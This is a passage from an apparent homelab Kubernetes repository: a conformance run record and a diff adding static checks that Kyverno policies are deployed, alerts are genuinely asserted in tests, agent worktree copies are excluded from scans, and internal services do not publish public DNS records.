{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9339d5a79e2301d399e4e20722b164583c53c55d", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NODE_LOSS_VOLUME_AVAILABLE_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-02"], "run_id": "20260919T052225Z-9339d5a", "sentinel": "NODE_LOSS_VOLUME_AVAILABLE_OK", "test": "node-loss", "ts_utc": "2026-09-19T05:22:25Z"}
|
||||
@@ -0,0 +1,42 @@
|
||||
# =============================================================================
|
||||
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
|
||||
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||
#
|
||||
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
|
||||
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
|
||||
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
|
||||
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
|
||||
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
|
||||
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
|
||||
#
|
||||
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
|
||||
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
|
||||
# would have skipped this check on the very commit that introduced the defect.
|
||||
# =============================================================================
|
||||
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||
kind: Test
|
||||
metadata:
|
||||
name: admission-policies-actually-applied
|
||||
labels:
|
||||
conformance.home.k3s/R-SEC-01: "true"
|
||||
conformance.home.k3s/R-SEC-02: "true"
|
||||
annotations:
|
||||
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
|
||||
conformance.home.k3s/layer: "L0"
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
conformance.home.k3s/executable: "true"
|
||||
conformance.home.k3s/intent: >-
|
||||
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
|
||||
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
|
||||
exemption that is genuinely not applied — so a policy cannot be authored, tested,
|
||||
green, and absent from the cluster.
|
||||
spec:
|
||||
steps:
|
||||
- name: every-authored-policy-is-applied-or-documented-ci-only
|
||||
description: >-
|
||||
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
|
||||
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
|
||||
try:
|
||||
- script:
|
||||
content: bash ./check.sh
|
||||
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# L0 static check (offline, no cluster) — admission-policies-actually-applied
|
||||
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
|
||||
#
|
||||
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
|
||||
#
|
||||
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
|
||||
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
|
||||
# "kept as reference; THIS file is the buildable render root".
|
||||
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
|
||||
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
|
||||
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
|
||||
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
|
||||
#
|
||||
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
|
||||
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
|
||||
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
|
||||
# `platform` Ready at the new revision — and the policy was never in any applied set. The
|
||||
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
|
||||
# which is precisely the state that identity's own RBAC header says must never exist.
|
||||
#
|
||||
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
|
||||
# DEPLOYED. This check asserts the second thing.
|
||||
#
|
||||
# GIVEN the repository as git tracks it,
|
||||
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
|
||||
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
|
||||
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
|
||||
# policy that IS applied, so the exemption list cannot rot into a lie either way.
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||
exec python3 - "$ROOT" <<'PY'
|
||||
import sys, subprocess
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(sys.argv[1])
|
||||
FAILURES, CHECKS = [], 0
|
||||
|
||||
def check(cond, desc):
|
||||
global CHECKS
|
||||
CHECKS += 1
|
||||
if not cond:
|
||||
FAILURES.append(desc)
|
||||
|
||||
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
|
||||
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
|
||||
# that silently starts being applied is as much a lie as one that silently stops.
|
||||
CI_ONLY = {
|
||||
"disallow-plaintext-secrets":
|
||||
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
|
||||
"admission because Flux decrypts before the Secret reaches the API server. Its "
|
||||
"in-cluster counterpart is admission/secret-provenance.yaml.",
|
||||
}
|
||||
|
||||
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
|
||||
"platform/kyverno/*.yaml"],
|
||||
cwd=ROOT, capture_output=True, text=True, check=True)
|
||||
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
|
||||
|
||||
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
|
||||
policies = {}
|
||||
for f in files:
|
||||
try:
|
||||
txt = f.read_text()
|
||||
except Exception:
|
||||
continue
|
||||
if "kind: ClusterPolicy" not in txt:
|
||||
continue
|
||||
for line in txt.splitlines():
|
||||
st = line.strip()
|
||||
if st.startswith("name:") and " name:" in line:
|
||||
policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
|
||||
break
|
||||
|
||||
check(len(policies) >= 6,
|
||||
f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
|
||||
f"too few means the scan broke, and every assertion below would be vacuous")
|
||||
|
||||
applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
|
||||
|
||||
unapplied, wrongly_exempt = [], []
|
||||
for rel, name in sorted(policies.items()):
|
||||
# platform-config references these as ../platform/kyverno/...
|
||||
referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
|
||||
if name in CI_ONLY:
|
||||
if referenced:
|
||||
wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
|
||||
elif not referenced:
|
||||
unapplied.append(f"{name} ({rel})")
|
||||
|
||||
check(not unapplied,
|
||||
f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
|
||||
f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
|
||||
|
||||
check(not wrongly_exempt,
|
||||
f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
|
||||
f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
|
||||
|
||||
for name, reason in CI_ONLY.items():
|
||||
check(bool(reason.strip()),
|
||||
f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
|
||||
f"list stops being reviewable")
|
||||
|
||||
check(CHECKS >= 4,
|
||||
f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
|
||||
|
||||
if FAILURES:
|
||||
print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
|
||||
file=sys.stderr)
|
||||
for f in FAILURES:
|
||||
print(f" - {f}", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
|
||||
f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
|
||||
f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
|
||||
f"not that they are correct — `kyverno test` is what proves correctness.")
|
||||
PY
|
||||
@@ -182,14 +182,42 @@ SCRAPE_OWNERS: list[dict] = [
|
||||
},
|
||||
{
|
||||
"owner": "kube-prometheus-stack: the kubelet ServiceMonitor (cAdvisor + volume stats)",
|
||||
"prefixes": ("kubelet_",),
|
||||
# container_* is cAdvisor, which the kubelet ServiceMonitor scrapes on the SAME target as
|
||||
# kubelet_* via its /metrics/cadvisor path (this entry's title always said so; the prefix
|
||||
# was added 2026-09-14 when ContainerIOStallHigh became the first rule to query it).
|
||||
# Verified on prod: container_pressure_io_stalled_seconds_total, 405 series across the
|
||||
# three nodes, job="kubelet", metrics_path="/metrics/cadvisor".
|
||||
"prefixes": ("kubelet_", "container_"),
|
||||
"file": KPS,
|
||||
# Chart default kubelet.enabled:true. There is no explicit enable to require, so the only
|
||||
# honest assertion is that it has not been turned off the way kubeProxy/kubeEtcd were.
|
||||
"require": [r"kubeProxy:"], # sentinel: the exporter-toggle block is still authored here
|
||||
"forbid": [r"\n\s*kubelet:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
|
||||
"why": "kubelet_volume_stats_* powers MonitoringVolumeFillingUp and all three "
|
||||
"pvc-capacity-alerts rules",
|
||||
"pvc-capacity-alerts rules; container_pressure_io_stalled_seconds_total is the "
|
||||
"only signal on this cluster that can name WHICH workload an I/O stall is hitting",
|
||||
},
|
||||
{
|
||||
"owner": "kube-prometheus-stack: the kube-apiserver ServiceMonitor (chart default, NOT "
|
||||
"disabled the way kubeEtcd/kubeProxy are)",
|
||||
# DELIBERATELY EXACT NAMES, NOT AN `etcd_` PREFIX. On this cluster the only etcd-shaped
|
||||
# metrics that exist are the APISERVER'S CLIENT-SIDE view of its own local member. etcd's
|
||||
# server-side disk metrics (etcd_disk_wal_fsync_duration_seconds,
|
||||
# etcd_disk_backend_commit_duration_seconds) are NOT scraped — kubeEtcd.enabled:false for
|
||||
# k3s' embedded etcd — and verified absent on prod 2026-09-14: a query for
|
||||
# {__name__=~"etcd_disk_.*|etcd_server_.*|etcd_mvcc_.*"} returns nothing at all. A blanket
|
||||
# `etcd_` claim would let a future rule on those names pass this check while being inert,
|
||||
# which is precisely the hole this test exists to close. Widen only with a real scrape.
|
||||
"exact": (
|
||||
"etcd_request_duration_seconds_bucket",
|
||||
"etcd_request_duration_seconds_count",
|
||||
),
|
||||
"file": KPS,
|
||||
"require": [r"kubeProxy:"], # sentinel: the exporter-toggle block is still authored here
|
||||
"forbid": [r"\n\s*kubeApiServer:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
|
||||
"why": "etcd_request_duration_seconds_* is the ONLY per-node view of the etcd storage path "
|
||||
"this cluster has, and NodeEtcdRequestsSlow is the only alert that can see the "
|
||||
"condition that took k3s-prod-1 NotReady on 2026-09-07 before the node drops",
|
||||
},
|
||||
{
|
||||
"owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Velero Schedules",
|
||||
@@ -209,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
|
||||
"backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
|
||||
"Velero itself publishes nothing until a backup is attempted",
|
||||
},
|
||||
{
|
||||
"owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
|
||||
"prefixes": ("kube_flux_",),
|
||||
"file": KPS,
|
||||
"require": [
|
||||
r"customResourceState:\s*\n\s*enabled:\s*true",
|
||||
r"metricNamePrefix:\s*kube_flux_kustomization",
|
||||
r"metricNamePrefix:\s*kube_flux_gitrepository",
|
||||
# The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
|
||||
# above: without read access to these two API groups KSM publishes the
|
||||
# custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
|
||||
# leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
|
||||
r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
|
||||
r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
|
||||
# A config-only edit does not restart KSM (the chart sets no checksum annotation over
|
||||
# the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
|
||||
# it and a future change to the flux collector set ships green and never takes effect.
|
||||
r"homelab\.keithjackson\.dev/crs-config-rollout",
|
||||
],
|
||||
"forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
|
||||
"why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
|
||||
"revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
|
||||
"ReconciliationSucceeded on every interval tick whether or not anything changed, so "
|
||||
"without these metrics nothing can tell a deploy starting from an idle cluster",
|
||||
},
|
||||
{
|
||||
"owner": "kube-prometheus-stack: bundled kube-state-metrics",
|
||||
"prefixes": ("kube_",),
|
||||
@@ -228,7 +281,13 @@ SCRAPE_OWNERS: list[dict] = [
|
||||
"file": KPS,
|
||||
"require": [
|
||||
r"metricLabelsAllowlist:",
|
||||
r"nodes=\[homelab\.keithjackson\.dev/egress-gateway\]",
|
||||
# The label must be IN the allowlist, not BE the whole allowlist. This pattern used to
|
||||
# end in a literal `]`, asserting the list held exactly this one label — so adding a
|
||||
# second one (`egress-uplink`, for the steering-staleness alerts) made this check FAIL
|
||||
# while the property it guards stayed perfectly satisfied. A guard that breaks when you
|
||||
# correctly extend the thing it guards teaches people to edit the guard, which is how it
|
||||
# stops guarding. `[,\\]]` accepts either the end of the list or a further entry.
|
||||
r"nodes=\[homelab\.keithjackson\.dev/egress-gateway[,\]]",
|
||||
],
|
||||
"forbid": [],
|
||||
"why": "KSM exposes NO custom labels by default. Without the allowlist entry "
|
||||
@@ -420,9 +479,14 @@ def is_golden_fixture(p: Path) -> bool:
|
||||
return "conformance" in parts and "golden" in parts
|
||||
|
||||
|
||||
# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
|
||||
# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
|
||||
# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
|
||||
# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
|
||||
# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
|
||||
rule_files = sorted(
|
||||
p for p in ROOT.rglob("*.yaml")
|
||||
if ".git" not in p.parts and not is_golden_fixture(p) and "kind: PrometheusRule" in read(p)
|
||||
if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and not is_golden_fixture(p) and "kind: PrometheusRule" in read(p)
|
||||
)
|
||||
check(len(rule_files) > 0,
|
||||
"no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "
|
||||
@@ -591,7 +655,7 @@ def yaml_docs(path: Path) -> list[dict]:
|
||||
# job name -> (relpath, monitor endpoint ports, ports the co-authored Services define)
|
||||
same_file_monitors: dict[str, tuple[str, set[str], set[str]]] = {}
|
||||
for p in sorted(ROOT.rglob("*.yaml")):
|
||||
if ".git" in p.parts:
|
||||
if any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts):
|
||||
continue
|
||||
txt = read(p)
|
||||
if "kind: ServiceMonitor" not in txt or "kind: Service" not in txt:
|
||||
|
||||
@@ -168,8 +168,21 @@ UNTESTED_FILES = {
|
||||
# own rule nothing asserts on. This is the half that stops a new alert being slipped into an
|
||||
# already-"tested" file untested: anything not listed here must appear in a covering test.
|
||||
# The monitoring block is large because backups.test.yaml (the repo's first suite) deliberately
|
||||
# covers the Velero/backup rules only; pvc-capacity-alerts.yaml is flattened into the same
|
||||
# rules file by the suite convention but has no assertions of its own yet.
|
||||
# covers the Velero/backup rules only. It SHRANK by seven on 2026-09-13, when
|
||||
# platform/monitoring/tests/longhorn.test.yaml took on the whole platform-health.longhorn group
|
||||
# plus the three kubelet-based PVC-fill rules it has to be measured against (the per-volume
|
||||
# Longhorn "capacity" rule was deleted as a permanently-firing duplicate of them, so proving the
|
||||
# redundancy meant asserting on the rules that survive). Only
|
||||
# PersistentVolumeFillingUpPredicted is still unasserted in pvc-capacity-alerts.yaml.
|
||||
# It SHRANK BY TWO MORE on 2026-09-14: platform/monitoring/tests/node-io-cause.test.yaml pins the
|
||||
# eight new platform-health.node-io-cause rules, and its healthy fixture asserts NodeIOPressureHigh
|
||||
# and NodeIOPressureCritical quiet on the same measured state — the whole point of that fixture is
|
||||
# that the two PSI detectors and the eight cause rules must agree about what "healthy" is, so the
|
||||
# detectors are no longer unasserted.
|
||||
# It SHRANK BY ONE on 2026-09-19: platform/monitoring/tests/vpn-egress.test.yaml pins the two new
|
||||
# egress-steering rules, and asserts VPNTunnelDown QUIET in all four fixtures — that silence IS the
|
||||
# claim those rules exist for (tun0 up and passing traffic while vpn-class egress is dropped), so it
|
||||
# had to become an assertion rather than a sentence in a comment.
|
||||
UNTESTED_ALERTS = {
|
||||
("platform/cnpg/alerts.yaml", "CNPGWALArchiveBacklog"),
|
||||
("platform/cnpg/alerts.yaml", "CNPGNoRecoverabilityPoint"),
|
||||
@@ -181,30 +194,20 @@ UNTESTED_ALERTS = {
|
||||
("platform/monitoring/alerts.yaml", "NodeDiskFillingUp"),
|
||||
("platform/monitoring/alerts.yaml", "NodeCPUPressureHigh"),
|
||||
("platform/monitoring/alerts.yaml", "NodeCPULoadHigh"),
|
||||
("platform/monitoring/alerts.yaml", "NodeIOPressureHigh"),
|
||||
("platform/monitoring/alerts.yaml", "NodeIOPressureCritical"),
|
||||
("platform/monitoring/alerts.yaml", "LonghornVolumeDegraded"),
|
||||
("platform/monitoring/alerts.yaml", "LonghornVolumeFaulted"),
|
||||
("platform/monitoring/alerts.yaml", "LonghornVolumeCapacityHigh"),
|
||||
("platform/monitoring/alerts.yaml", "LonghornNodeStorageHigh"),
|
||||
("platform/monitoring/alerts.yaml", "FluxReconciliationFailure"),
|
||||
("platform/monitoring/alerts.yaml", "FluxResourceSuspended"),
|
||||
("platform/monitoring/alerts.yaml", "CertificateExpiringSoon"),
|
||||
("platform/monitoring/alerts.yaml", "CertificateExpiryImminent"),
|
||||
("platform/monitoring/alerts.yaml", "CertificateNotReady"),
|
||||
("platform/monitoring/alerts.yaml", "VPNTunnelDown"),
|
||||
("platform/monitoring/alerts.yaml", "HubbleDeniedFlowSpike"),
|
||||
("platform/monitoring/alerts.yaml", "KeycloakDown"),
|
||||
("platform/monitoring/alerts.yaml", "KeycloakDatabaseDown"),
|
||||
("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerFailing"),
|
||||
("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerStale"),
|
||||
("platform/monitoring/alerts.yaml", "MonitoringVolumeFillingUp"),
|
||||
("platform/monitoring/alerts.yaml", "PrometheusTargetsMissing"),
|
||||
("platform/monitoring/alerts.yaml", "ImageUpdateAutomationFailing"),
|
||||
("platform/monitoring/alerts.yaml", "ImagePolicyStalled"),
|
||||
("platform/monitoring/alerts.yaml", "UpdateHealthGateFailed"),
|
||||
("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUp"),
|
||||
("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeAlmostFull"),
|
||||
("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUpPredicted"),
|
||||
}
|
||||
|
||||
@@ -280,11 +283,16 @@ FETCH_RE = re.compile(
|
||||
# versions.env. What is forbidden is a RULE-UNIT RUN acquiring its own engine: then the
|
||||
# version, the network and the machine are decided silently at test time, and a missing
|
||||
# toolchain becomes a green run instead of an exit 3.
|
||||
# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
|
||||
# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
|
||||
# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
|
||||
# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
|
||||
# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
|
||||
SELF_DIR = "conformance/tests/l0-static/alert-rules-unit-tested/"
|
||||
INSTALLERS = (".gitea/workflows/scripts/install-tools.sh", "infra/devcontainer/")
|
||||
for p in sorted(ROOT.rglob("*.sh")):
|
||||
rel = str(p.relative_to(ROOT))
|
||||
if rel.startswith((".git/", "conformance/runs/", SELF_DIR)):
|
||||
if rel.startswith((".git/", ".claude/", "conformance/runs/", SELF_DIR)):
|
||||
continue
|
||||
try:
|
||||
text = p.read_text()
|
||||
@@ -319,7 +327,7 @@ def tracked_yaml() -> list[Path]:
|
||||
return [ROOT / p for p in out.stdout.split("\0") if p]
|
||||
# No usable index (the gate container mounts a worktree whose .git points outside the
|
||||
# mount). Fall back to a filesystem walk rather than auditing nothing.
|
||||
return sorted(p for p in ROOT.rglob("*.y*ml") if ".git/" not in str(p))
|
||||
return sorted(p for p in ROOT.rglob("*.y*ml") if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts))
|
||||
|
||||
|
||||
KIND_RE = re.compile(r"^\s*kind:\s*PrometheusRule\s*$", re.M)
|
||||
@@ -473,7 +481,34 @@ for rel in sorted(alert_files):
|
||||
f"{rel} is listed in UNTESTED_FILES but is now covered by {tests} — the register is "
|
||||
f"shrink-only: delete the line so the next missing test is caught")
|
||||
text = "".join((ROOT / t).read_text() for t in tests if (ROOT / t).is_file())
|
||||
covered = [n for n in names if re.search(rf"\b{re.escape(n)}\b", text)]
|
||||
# "COVERED" MUST MEAN ASSERTED, NOT MENTIONED (tightened 2026-09-19).
|
||||
# This used to be a bare word match over the whole test file, so an alert named anywhere —
|
||||
# including in a PROSE COMMENT — counted as tested. Hit for real while adding
|
||||
# platform/monitoring/tests/vpn-egress.test.yaml: its header comment explains that VPNTunnelDown
|
||||
# stays quiet during an egress-steering failure, and that sentence alone was enough to make this
|
||||
# check declare VPNTunnelDown "asserted on" and demand its removal from UNTESTED_ALERTS. Deleting
|
||||
# the register entry would then have recorded coverage that did not exist — the exact "looks fixed"
|
||||
# outcome this check exists to prevent, produced BY the check.
|
||||
# Now an alert counts only when a test file names it in an `alertname:` position, with comment
|
||||
# lines stripped first so a commented-out assertion does not count either.
|
||||
# MEASURED BLAST RADIUS BEFORE TIGHTENING: of 61 alerts across the PrometheusRule manifests, 32 are
|
||||
# asserted in one of the two idioms below, 29 are not mentioned at all (already declared in the
|
||||
# registers), and ZERO are prose-only — so this change failed nothing on the day it landed. That
|
||||
# mattered because the registers are shrink-only: had any alert been prose-only, tightening would
|
||||
# have needed a register entry it is not allowed to add. (The first measurement said 31/30/0 because
|
||||
# it scanned only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companions.)
|
||||
text_no_comments = "\n".join(
|
||||
l for l in text.split("\n") if not l.lstrip().startswith("#")
|
||||
)
|
||||
# BOTH promtool idioms count, because both are real assertions:
|
||||
# alert_rule_test: - alertname: CNPGPrimariesCoLocated
|
||||
# promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
|
||||
# Matching only the first produced a FALSE NEGATIVE on CNPGPrimariesCoLocated, which
|
||||
# platform/cnpg/alerts.promtool-test.yaml pins across FOUR scenarios entirely through the second
|
||||
# form. Had that been believed, the "fix" would have been a redundant duplicate test for an alert
|
||||
# already better covered than most.
|
||||
covered = [n for n in names
|
||||
if re.search(rf'(?:alertname:\s*|alertname="){re.escape(n)}\b', text_no_comments)]
|
||||
covered_total += len(covered)
|
||||
for n in names:
|
||||
if n in covered:
|
||||
|
||||
@@ -126,9 +126,14 @@ def read(p: Path) -> str:
|
||||
SCOPE_DECL_RE = r"^\s*conformance\.home\.k3s/scope:\s*[\"\']?whole-repo"
|
||||
RUNBOOK_URL_RE = re.compile(r"""^\s*runbook_url:\s*["']?([^"'\s#]+)["']?\s*$""")
|
||||
|
||||
# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
|
||||
# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
|
||||
# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
|
||||
# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
|
||||
# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
|
||||
rule_files = sorted(
|
||||
p for p in ROOT.rglob("*.yaml")
|
||||
if ".git" not in p.parts and "kind: PrometheusRule" in read(p)
|
||||
if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and "kind: PrometheusRule" in read(p)
|
||||
)
|
||||
check(len(rule_files) > 0,
|
||||
"no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "
|
||||
|
||||
@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
|
||||
DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
|
||||
"runbooks", "clusters", "bootstrap", "catalog")
|
||||
|
||||
# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
|
||||
# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
|
||||
# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
|
||||
# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
|
||||
# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
|
||||
# routes and make (8) demand the operator's dashboard link them.
|
||||
#
|
||||
# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
|
||||
# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
|
||||
# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
|
||||
# hostname-publishing Service. If that ever stops being true the check fails and the tree must
|
||||
# become a real delivery root.
|
||||
NON_SERVING_RECONCILED = ("conformance/incluster",)
|
||||
|
||||
|
||||
def tracked_yaml() -> list[Path]:
|
||||
out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
|
||||
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
|
||||
# a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
|
||||
# a path of them would fail on a file that is correct.
|
||||
reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
|
||||
def _reconciled_path(d):
|
||||
return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
|
||||
|
||||
|
||||
unscanned = sorted({
|
||||
f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
|
||||
for p, d in reconcilers
|
||||
if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
|
||||
not in DELIVERY_ROOTS
|
||||
if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
|
||||
and _reconciled_path(d) not in NON_SERVING_RECONCILED
|
||||
})
|
||||
|
||||
# The exemption's own guard: an exempted tree must actually serve nothing.
|
||||
exempt_serving = sorted({
|
||||
f"{p.relative_to(ROOT)} ({d.get('kind')})"
|
||||
for p, d in docs_all()
|
||||
if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
|
||||
and (d.get("kind") == "HTTPRoute"
|
||||
or (d.get("kind") == "Service"
|
||||
and any("hostname" in str(k).lower()
|
||||
for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
|
||||
})
|
||||
check(not exempt_serving,
|
||||
f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
|
||||
f"gains a route would hide a service from this check entirely "
|
||||
f"{exempt_serving if exempt_serving else ''}")
|
||||
check(len(reconcilers) >= 10 and not unscanned,
|
||||
f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
|
||||
f"reconciled tree this check does not read is a service it cannot require a link for "
|
||||
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
# =============================================================================
|
||||
# L0 STATIC — no service declared `internal` can produce a PUBLIC DNS record
|
||||
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||
#
|
||||
# THE DEFECT THIS CLOSES. docs/09 R-DNS-03 says `internal` services are unreachable from the
|
||||
# public internet, that external names resolve to the PUBLIC IP, and that Pi-hole provides the
|
||||
# internal split-horizon answers. schemas/renderer-contract.md §exposure says an `internal`
|
||||
# service renders "no public DNS record". NOTHING ENFORCED EITHER SENTENCE. ExternalDNS
|
||||
# (platform/externaldns/helmrelease.yaml, `sources: [gateway-httproute, service]`,
|
||||
# `policy: sync`, provider cloudflare) considered EVERY HTTPRoute on the shared Gateway, so six
|
||||
# `exposure: internal` services — jackett, pihole, qbittorrent, radarr, semaphore, sonarr — each
|
||||
# published `<name>.home.keithjackson.dev` into the PUBLIC authoritative Cloudflare zone,
|
||||
# answering with the Gateway VIP 192.168.2.20. Verified at the authority on 2026-09-14; the
|
||||
# pre-state is committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt.
|
||||
#
|
||||
# Three things were wrong at once, and none of them was visible from inside the cluster:
|
||||
# * the internal subnet, the Gateway VIP and a complete service inventory were publicly
|
||||
# enumerable by anyone who could guess or brute-force a label;
|
||||
# * a public name answering with an RFC1918 address IS a DNS-rebind primitive, which is why the
|
||||
